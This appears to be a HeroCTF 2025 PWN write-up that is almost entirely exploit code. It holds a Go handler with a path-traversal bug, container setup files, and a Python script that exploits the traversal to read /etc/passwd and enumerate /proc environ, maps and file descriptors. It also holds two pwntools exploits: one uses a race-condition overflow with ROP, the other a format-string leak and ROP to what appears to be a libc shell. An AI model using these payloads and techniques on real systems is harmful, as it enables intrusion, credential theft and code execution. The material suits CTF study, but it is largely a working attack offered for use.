HeroCTF2025 PWN Writeup

func HandleDownloadWordlist(c *gin.Context) {
    wordlistDir := getWordlistDir()

    json := DownloadRequest{}
    if err := c.ShouldBindJSON(&json); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
        return
    }

    fileName := path.Base(json.Filename)  // LINE 46: Sanitized but UNUSED!
    filePath := filepath.Join(wordlistDir, json.Filename)  // LINE 47: Uses unsanitized input!

    f, err := os.Open(filePath)  // LINE 49: Opens the unsanitized path
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer f.Close()

    data, err := io.ReadAll(f)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "filename": fileName,  // Returns sanitized name
        "content":  string(data),  // But returns content from unsanitized path!
    })
}

#!/bin/bash

echo "${FLAG:-HEROCTF_FAKE_FLAG}" > "/app/flag_$(openssl rand -hex 8).txt"
chmod 444 /app/flag_*.txt
unset FLAG

/app/cracker/cracker &
cd /app/api/ && ./api

# => BUILDER
FROM golang:1.25-trixie@sha256:a02d35efc036053fdf0da8c15919276bf777a80cbfda6a35c5e9f087e652adfc AS builder

RUN apt-get update && \
    apt-get install -y --no-install-recommends build-essential make ca-certificates libssl-dev && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /src

COPY ./api/ ./api/
COPY ./cracker/ ./cracker/

# Build the Go binary
WORKDIR /src/api/
RUN CGO_ENABLED=0 GOOS=linux GOARCH=amd64 \
    go build -ldflags="-s -w" -o api .

# Build the C binary
WORKDIR /src/cracker
RUN make

# => RUNTIME
FROM debian:trixie@sha256:8f6a88feef3ed01a300dafb87f208977f39dccda1fd120e878129463f7fa3b8f AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends openssl && \
    rm -rf /var/lib/apt/lists/*

RUN useradd -m app -d /app/

COPY ./entrypoint.sh /entrypoint.sh
# COPY --from=builder /src/api/ /app/api/
# COPY --from=builder /src/cracker/ /app/cracker/
COPY ./api/ /app/api/
COPY ./cracker/ /app/cracker/

RUN chmod +x /entrypoint.sh && \
    chown app:app -R /app/

USER app
WORKDIR /app/

CMD ["/entrypoint.sh"]

#!/usr/bin/env python3
"""
Improved exploit for paf_traversal CTF challenge

Key insights:
1. Download endpoint has path traversal
2. Cracker reads wordlist files and prints each line
3. Need to enumerate /proc to find flag file or leak filename
"""

import requests
import sys
import re
import time
from typing import Optional, List

class Exploit:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()

    def download_file(self, path: str) -> Optional[str]:
        """Exploit path traversal in /api/wordlist/download"""
        url = f"{self.base_url}/api/wordlist/download"
        payload = {"filename": path}

        try:
            resp = self.session.post(url, json=payload, timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                return data.get("content")
            else:
                return None
        except Exception as e:
            return None

    def enumerate_proc_pids(self, max_pid: int = 100) -> List[int]:
        """Find active PIDs by trying to read /proc/[pid]/cmdline"""
        print(f"[*] Enumerating PIDs in /proc (1-{max_pid})...")
        active_pids = []

        for pid in range(1, max_pid):
            content = self.download_file(f"../../../proc/{pid}/cmdline")
            if content:
                # Clean up cmdline (null-separated)
                cmdline = content.replace('\x00', ' ').strip()
                if cmdline:
                    print(f"  [+] PID {pid}: {cmdline[:80]}")
                    active_pids.append(pid)

        return active_pids

    def check_proc_maps(self, pid: int) -> Optional[str]:
        """Check /proc/[pid]/maps for memory mappings - might show flag file"""
        print(f"[*] Checking /proc/{pid}/maps...")
        content = self.download_file(f"../../../proc/{pid}/maps")

        if content and "flag_" in content:
            print(f"[+] Found 'flag_' reference in maps!")
            matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
            if matches:
                return matches[0]
        return None

    def check_proc_environ(self, pid: int) -> Optional[str]:
        """Check /proc/[pid]/environ for environment variables"""
        print(f"[*] Checking /proc/{pid}/environ...")
        content = self.download_file(f"../../../proc/{pid}/environ")

        if content and "flag_" in content.lower():
            print(f"[+] Found 'flag' in environ!")
            # Parse null-separated environ
            env_vars = content.split('\x00')
            for var in env_vars:
                if 'flag' in var.lower():
                    print(f"    {var}")
                    matches = re.findall(r'flag_([0-9a-f]{8})\.txt', var)
                    if matches:
                        return matches[0]
        return None

    def check_proc_fd(self, pid: int, max_fd: int = 20) -> Optional[str]:
        """Check /proc/[pid]/fd/[num] for open file descriptors"""
        print(f"[*] Checking /proc/{pid}/fd/ (0-{max_fd})...")

        for fd in range(max_fd):
            # Try reading the symlink target via /proc/[pid]/fd/[num]
            content = self.download_file(f"../../../proc/{pid}/fd/{fd}")
            if content:
                # Check if it contains flag content
                if content.startswith("HERO") or "Hero{" in content or "hero{" in content:
                    print(f"[+] FOUND FLAG in /proc/{pid}/fd/{fd}!")
                    return content
                # Print what we found
                preview = content[:100].replace('\n', '\\n')
                print(f"  [>] fd {fd}: {preview}...")

        return None

    def check_proc_cwd(self, pid: int) -> Optional[List[str]]:
        """Check /proc/[pid]/cwd to see working directory"""
        # We can't list directories directly, but we can try common filenames
        print(f"[*] Trying to read files in /proc/{pid}/cwd/...")

        # Try reading common files that might exist
        test_files = [
            "entrypoint.sh",
            "api",
            "cracker",
            ".dockerenv",
        ]

        for filename in test_files:
            content = self.download_file(f"../../../proc/{pid}/cwd/{filename}")
            if content:
                print(f"  [+] Found: {filename}")
                if "flag_" in content:
                    matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
                    if matches:
                        return matches

        return None

    def try_ls_via_bash_history(self) -> Optional[str]:
        """Try to find bash history that might contain ls commands"""
        print("[*] Checking for bash history files...")

        history_paths = [
            "../../../root/.bash_history",
            "../../../home/app/.bash_history",
            "../../../app/.bash_history",
        ]

        for path in history_paths:
            content = self.download_file(path)
            if content and "flag_" in content:
                print(f"[+] Found flag reference in {path}!")
                matches = re.findall(r'flag_([0-9a-f]{8})\.txt', content)
                if matches:
                    return matches[0]

        return None

    def try_docker_env(self) -> Optional[str]:
        """Try reading Docker environment files"""
        print("[*] Checking Docker environment...")

        docker_files = [
            "../../../proc/1/environ",
            "../../../proc/self/environ",
            "../../../.dockerenv",
        ]

        for path in docker_files:
            content = self.download_file(path)
            if content:
                if "FLAG" in content or "flag_" in content:
                    print(f"[+] Found potential flag in {path}!")
                    env_vars = content.split('\x00')
                    for var in env_vars:
                        print(f"    {var}")
                        if 'FLAG=' in var:
                            return var.split('FLAG=')[1]
                        matches = re.findall(r'flag_([0-9a-f]{8})\.txt', var)
                        if matches:
                            return matches[0]

        return None

    def try_proc_self_status(self) -> None:
        """Read /proc/self/status for info"""
        print("[*] Reading /proc/self/status...")
        content = self.download_file("../../../proc/self/status")
        if content:
            # Look for working directory or other clues
            for line in content.split('\n'):
                if 'Name' in line or 'Pid' in line:
                    print(f"  {line}")

    def read_proc_mounts(self) -> None:
        """Check /proc/mounts for mounted filesystems"""
        print("[*] Reading /proc/mounts...")
        content = self.download_file("../../../proc/mounts")
        if content:
            for line in content.split('\n'):
                if '/app' in line or 'flag' in line:
                    print(f"  {line}")

    def try_glob_via_shell_expansion(self) -> Optional[str]:
        """
        Try to trigger shell expansion somehow
        This likely won't work as Go doesn't use shell for file ops
        """
        print("[*] Attempting shell glob patterns (unlikely to work)...")

        patterns = [
            "../../flag_[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f].txt",
            "../../flag_*.txt",
            "../../flag_????????.txt",
        ]

        for pattern in patterns:
            content = self.download_file(pattern)
            if content and content.startswith("HERO"):
                print(f"[+] Pattern worked: {pattern}")
                return content

        print("  [-] As expected, glob patterns don't work with Go's os.Open()")
        return None

    def systematic_proc_enumeration(self) -> Optional[str]:
        """Systematically enumerate /proc to find flag filename"""
        print("\n" + "="*60)
        print("SYSTEMATIC /proc ENUMERATION")
        print("="*60 + "\n")

        # Step 1: Find active PIDs
        pids = self.enumerate_proc_pids(max_pid=50)
        print(f"\n[*] Found {len(pids)} active processes\n")

        # Step 2: Check each PID for clues
        for pid in pids:
            print(f"\n--- Examining PID {pid} ---")

            # Check environ
            hex_val = self.check_proc_environ(pid)
            if hex_val:
                return hex_val

            # Check maps
            hex_val = self.check_proc_maps(pid)
            if hex_val:
                return hex_val

            # Check open file descriptors
            flag_content = self.check_proc_fd(pid, max_fd=10)
            if flag_content:
                print(f"\n[+] FOUND FLAG: {flag_content}")
                return flag_content

            # Check cwd
            matches = self.check_proc_cwd(pid)
            if matches:
                return matches[0]

        return None

    def run(self):
        """Main exploit routine"""
        print("="*60)
        print("PAF Traversal - IMPROVED Exploit v2")
        print("="*60)
        print()

        # Verify vulnerability
        print("[*] Verifying path traversal vulnerability...")
        passwd = self.download_file("../../../etc/passwd")
        if passwd and "root:" in passwd:
            print("[+] Path traversal confirmed!\n")
        else:
            print("[-] Path traversal test failed!")
            return

        # Try Docker environment first (quick check)
        result = self.try_docker_env()
        if result:
            if result.startswith("HERO"):
                print(f"\n[+] FLAG FOUND: {result}")
                return
            else:
                # It's a hex value, read the file
                flag = self.download_file(f"../../flag_{result}.txt")
                if flag:
                    print(f"\n[+] FLAG FOUND: {flag}")
                    return

        # Try bash history
        hex_val = self.try_ls_via_bash_history()
        if hex_val:
            flag = self.download_file(f"../../flag_{hex_val}.txt")
            if flag:
                print(f"\n[+] FLAG FOUND: {flag}")
                return

        # Try glob patterns (unlikely)
        flag = self.try_glob_via_shell_expansion()
        if flag:
            print(f"\n[+] FLAG FOUND: {flag}")
            return

        # Do systematic proc enumeration
        result = self.systematic_proc_enumeration()

        if result:
            if result.startswith("HERO") or result.startswith("Hero"):
                print(f"\n[+] FLAG FOUND: {result}")
            else:
                # It's a hex value
                flag = self.download_file(f"../../flag_{result}.txt")
                if flag:
                    print(f"\n[+] FLAG FOUND: {flag}")
                else:
                    print(f"\n[+] Found hex value: {result}")
                    print(f"[*] Try: ../../flag_{result}.txt")
        else:
            print("\n[-] Could not find flag filename")
            print("[*] Additional ideas:")
            print("    1. Check if cracker process can be used to read flag")
            print("    2. Look for log files that might contain the filename")
            print("    3. Try timing-based enumeration")
            print("    4. Check for other info disclosure vectors")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} http://dyn12.heroctf.fr:12060")
        sys.exit(1)

    target = sys.argv[1]
    exploit = Exploit(target)
    exploit.run()

#!/usr/bin/env python3
"""
StoryContest PWN Exploit
=========================

Exploit strategy:
1. Keep main connection alive
2. Thread 2: Race condition overflow → call gift() → leak libc via stdout
3. Main thread: Call show_jury_info() to get leaked address
4. Thread 3: Race condition overflow → ROP to bonus_entry(0x1337C0DE)
5. Main thread: Call show_public_results() → get flag

Author: AI PWN Master
"""

from pwn import *
import threading
import time

# ==========================
# Configuration
# ==========================
BINARY = './storycontest_patched'
HOST = 'dyn14.heroctf.fr'  # Change to remote host
PORT = 14369

# Addresses (No PIE, fixed)
GIFT_ADDR = 0x401715
BONUS_ENTRY_ADDR = 0x4015fc
MAGIC_VALUE = 0x1337C0DE
MAIN_ADDR = 0x401C8A
RET = 0x000000000040101a
# Libc configuration
LIBC_PATH = './libc.so.6'  # Adjust if needed

# Gadgets (found by find_gadgets.py)
LIBC_POP_RDI_OFFSET = 0x000000000010f78b    # pop rdi; ret
LIBC_STDOUT_OFFSET = 0x2045c0     # stdout symbol
LIBC_SYSTEM_OFFSET = 0x58750      # system() (if needed)

# Exploit parameters
BUF_OFFSET = 168  # buf to return address: 0xA0 + 8
RACE_SLEEP = 0.25  # Sleep time for race condition (adjust as needed)

# ==========================
# Context Setup
# ==========================
context.binary = elf = ELF(BINARY)
context.log_level = 'info'
# context.log_level = 'debug'

try:
    libc = ELF(LIBC_PATH)
except:
    warn("Libc not found, will try to leak and use")
    libc = None


# ==========================
# Helper Functions
# ==========================
def connect_to_server():
    """Establish connection to the server"""
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        # For local testing
        return remote(HOST, PORT)


def send_menu_choice(conn, choice):
    """Send menu choice"""
    conn.sendlineafter(b'> ', str(choice).encode())


def race_condition_overflow(payload, conn=None):
    """
    Trigger race condition to overflow buffer

    Strategy:
    1. Send legit length (128) to pass check
    2. Another thread modifies global g_story_len
    3. usleep(500ms) window for race
    4. read() uses modified g_story_len → overflow
    """
    if conn is None:
        conn = connect_to_server()

    try:
        # Menu choice 1: Submit a story
        send_menu_choice(conn, 1)

        # Send legit length
        conn.sendlineafter(b'story:', b'128')

        # Send overflow payload
        
        conn.sendafter("Now type your story:\n", payload)
        #conn.interactive()
        # Wait for response
        time.sleep(0.5)
        
    except Exception as e:
        warn(f"Race condition exploit failed: {e}")
    finally:
        try:
            conn.close()
        except:
            pass


def race_modifier_thread(target_len=10000):
    """
    Helper thread to modify global g_story_len
    This creates the TOCTOU race condition
    """
    try:
        c = connect_to_server()
        send_menu_choice(c, 1)
        sleep(0.2)
        c.sendlineafter(b'story:', str(target_len).encode())
        # Don't send data, just modify the global variable
        c.close()
    except:
        pass


def trigger_race_with_modifier(payload):
    """Launch race condition with helper thread"""
    # Start modifier thread
    t = threading.Thread(target=race_modifier_thread, daemon=True)
    t.start()
    #pause()
    race_condition_overflow(payload)
    
    


# ==========================
# Exploit Stages
# ==========================

def stage1_leak_libc(main_conn):
    """
    Stage 1: Leak libc address via gift() function

    Returns: libc base address
    """
    info("=" * 60)
    info("STAGE 1: Leaking libc via gift()")
    info("=" * 60)

    # Build payload to call gift()
    payload = flat(
        b'A' * BUF_OFFSET,
        p64(RET),
        p64(GIFT_ADDR),
    )

    info(f"Payload length: {len(payload)}")
    info(f"Target: gift() @ {hex(GIFT_ADDR)}")

    # Trigger race condition to call gift()
    info("Triggering race condition to call gift()...")
    trigger_race_with_modifier(payload)

    # Wait for gift() to execute
    time.sleep(1)
    #main_conn.interactive()
    # Use main connection to leak the address
    info("Calling show_jury_info() to leak jury_gift...")
    send_menu_choice(main_conn, 3)  # Show jury info

    # Parse response
    response = main_conn.recvuntil(b'=== StoryJury ===', timeout=2)
    print(response)
    info(f"Response:\n{response.decode()}")

    # Extract leaked address
    if b'Jury gift:' in response:
        leak_line = [l for l in response.split(b'\n') if b'Jury gift:' in l][0]
        leak_str = leak_line.split(b':')[1].strip()
        leaked_addr = int(leak_str, 16)

        success(f"Leaked address: {hex(leaked_addr)}")

        # Calculate libc base
        libc_base = leaked_addr - LIBC_STDOUT_OFFSET
        success(f"Libc base: {hex(libc_base)}")

        # Verify if possible
        if libc and libc.symbols.get('stdout'):
            expected_base = leaked_addr - libc.symbols['stdout']
            if expected_base == libc_base:
                success("Libc base calculation verified!")
            else:
                warn(f"Mismatch: expected {hex(expected_base)}")

        return libc_base
    else:
        error("Failed to leak address!")
        return None


def stage2_activate_bonus(libc_base):
    """
    Stage 2: Activate bonus mode by calling bonus_entry(0x1337C0DE)

    Uses ROP chain:
      pop rdi; ret
      0x1337C0DE
      bonus_entry
    """
    info("=" * 60)
    info("STAGE 2: Activating bonus mode")
    info("=" * 60)

    # Build ROP chain
    if libc:
        # Try pwntools ROP first
        pop_rdi_addr = libc_base + LIBC_POP_RDI_OFFSET
    else:
        # Use hardcoded offset
        pop_rdi_addr = libc_base + LIBC_POP_RDI_OFFSET

    info(f"pop rdi; ret @ {hex(pop_rdi_addr)}")
    # Build payload
    
    payload = flat(
        b'B' * (BUF_OFFSET),
        p64(pop_rdi_addr),       # pop rdi; ret
        p64(MAGIC_VALUE),         # rdi = 0x1337C0DE
        p64(BONUS_ENTRY_ADDR),   # bonus_entry()
        p64(GIFT_ADDR)
    )

    info(f"Payload length: {len(payload)}")
    info(f"ROP chain: pop_rdi → {hex(MAGIC_VALUE)} → bonus_entry")

    # Trigger race condition
    info("Triggering race condition to activate bonus...")
    trigger_race_with_modifier(payload)

    # Wait for execution
    time.sleep(1)

    success("Bonus mode should now be activated!")
    return True


def stage3_get_flag(main_conn):
    #pause()
    """
    Stage 3: Get the flag via show_public_results()
    """
    info("=" * 60)
    info("STAGE 3: Getting the flag")
    info("=" * 60)

    # Call show_public_results (menu choice 4)
    info("Calling show_public_results()...")
    send_menu_choice(main_conn, 4)

    # Receive flag
    response = main_conn.recvuntil(b'===', timeout=3)

    if b'Flag:' in response or b'Hero{' in response:
        success("FLAG CAPTURED!")
        print("\n" + "=" * 60)
        print(response.decode())
        print("=" * 60 + "\n")
        return True
    else:
        error("Failed to get flag!")
        print(response.decode())
        return False


# ==========================
# Main Exploit
# ==========================
def exploit():
    """Main exploit function"""
    info("=" * 60)
    info("StoryContest Exploit Starting...")
    info("=" * 60)

    # Establish main connection
    info("Connecting to server...")
    main_conn = connect_to_server()
    success("Main connection established")

    # Receive initial banner
    main_conn.recvuntil(b'===')

    try:
        # Stage 1: Leak libc
        libc_base = stage1_leak_libc(main_conn)
        if libc_base is None:
            error("Stage 1 failed!")
            return

        # Stage 2: Activate bonus
        if not stage2_activate_bonus(libc_base):
            error("Stage 2 failed!")
            return

        # Stage 3: Get flag
        if stage3_get_flag(main_conn):
            success("Exploit successful!")
        else:
            error("Stage 3 failed!")

    finally:
        main_conn.close()


# ==========================
# Alternative: Manual mode
# ==========================
def manual_mode():
    """Interactive mode for manual exploitation"""
    conn = connect_to_server()
    conn.interactive()


# ==========================
# Entry Point
# ==========================
if __name__ == '__main__':
    if args.MANUAL:
        manual_mode()
    else:
        exploit()

#!/usr/bin/env python3
from pwn import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
libcname = "./libc.so.6"
host = "dyn07.heroctf.fr"
port = 11454
if libcname:
    libc = ELF(libcname)
def sa(a,b):
    sh.sendafter(a, b)

def sla(a, b):
    sh.sendlineafter(a, b)

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

sh=start()
payload1 = b"%4$p.%7$p.%19$p"
sla("Name : ", payload1)
sh.recvuntil(b".")
stack = int(sh.recv(14), base = 16)
sh.recv(1)
libc_base = int(sh.recv(14), base = 16) - 0x2724a
log.success("libc_base: " + hex(libc_base))
payload2 = b'A' * 0x28 + p64(libc_base + 0x277e5) + p64(libc_base + 0x197031) + p64(libc_base + 0x277e5 + 1) + p64(libc_base + 0x4c490) + p64(0) * 2

sla("Description : ", payload2)
sh.interactive()